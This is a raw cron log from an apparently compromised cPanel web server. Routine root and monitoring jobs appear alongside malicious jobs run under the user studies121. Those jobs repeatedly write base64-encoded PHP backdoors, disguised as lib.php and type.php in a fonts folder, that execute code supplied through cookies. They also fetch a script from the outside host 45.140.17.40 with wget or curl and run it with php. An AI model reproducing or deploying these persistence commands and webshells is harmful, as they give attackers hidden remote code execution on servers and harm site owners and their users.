Sep 21 19:11:01 ip-184-168-122-23 CROND[1449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:11:01 ip-184-168-122-23 CROND[1448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:12:01 ip-184-168-122-23 CROND[1547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:12:01 ip-184-168-122-23 CROND[1551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:12:01 ip-184-168-122-23 CROND[1550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:12:01 ip-184-168-122-23 CROND[1549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:12:01 ip-184-168-122-23 CROND[1552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:13:01 ip-184-168-122-23 CROND[1738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:13:01 ip-184-168-122-23 CROND[1739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:13:01 ip-184-168-122-23 CROND[1740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:13:01 ip-184-168-122-23 CROND[1741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:14:01 ip-184-168-122-23 CROND[1881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:14:01 ip-184-168-122-23 CROND[1885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:14:01 ip-184-168-122-23 CROND[1886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:14:01 ip-184-168-122-23 CROND[1884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:14:01 ip-184-168-122-23 CROND[1887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:15:01 ip-184-168-122-23 CROND[1972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:15:01 ip-184-168-122-23 CROND[1971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:15:01 ip-184-168-122-23 CROND[1974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:15:01 ip-184-168-122-23 CROND[1976]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:15:01 ip-184-168-122-23 CROND[1978]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:15:01 ip-184-168-122-23 CROND[1977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:16:01 ip-184-168-122-23 CROND[2062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:16:01 ip-184-168-122-23 CROND[2066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:16:01 ip-184-168-122-23 CROND[2065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:16:01 ip-184-168-122-23 CROND[2064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:16:01 ip-184-168-122-23 CROND[2067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:16:01 ip-184-168-122-23 CROND[2068]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 19:17:01 ip-184-168-122-23 CROND[2157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:17:01 ip-184-168-122-23 CROND[2159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:17:01 ip-184-168-122-23 CROND[2160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:17:01 ip-184-168-122-23 CROND[2161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:18:01 ip-184-168-122-23 CROND[2238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:18:01 ip-184-168-122-23 CROND[2240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:18:01 ip-184-168-122-23 CROND[2242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:18:01 ip-184-168-122-23 CROND[2241]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:18:01 ip-184-168-122-23 CROND[2243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:19:01 ip-184-168-122-23 CROND[2401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:19:01 ip-184-168-122-23 CROND[2402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:19:01 ip-184-168-122-23 CROND[2405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:19:01 ip-184-168-122-23 CROND[2404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:20:01 ip-184-168-122-23 CROND[2491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:20:01 ip-184-168-122-23 CROND[2493]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 19:20:01 ip-184-168-122-23 CROND[2498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:20:01 ip-184-168-122-23 CROND[2501]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 19:20:01 ip-184-168-122-23 CROND[2500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:20:01 ip-184-168-122-23 CROND[2499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:20:01 ip-184-168-122-23 CROND[2502]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:20:01 ip-184-168-122-23 CROND[2503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:20:01 ip-184-168-122-23 CROND[2507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:21:01 ip-184-168-122-23 CROND[2604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:21:01 ip-184-168-122-23 CROND[2605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:21:01 ip-184-168-122-23 CROND[2609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:21:01 ip-184-168-122-23 CROND[2610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:22:01 ip-184-168-122-23 CROND[2691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:22:01 ip-184-168-122-23 CROND[2694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:22:01 ip-184-168-122-23 CROND[2695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:22:01 ip-184-168-122-23 CROND[2693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:22:01 ip-184-168-122-23 CROND[2696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:23:01 ip-184-168-122-23 CROND[2783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:23:01 ip-184-168-122-23 CROND[2785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:23:01 ip-184-168-122-23 CROND[2787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
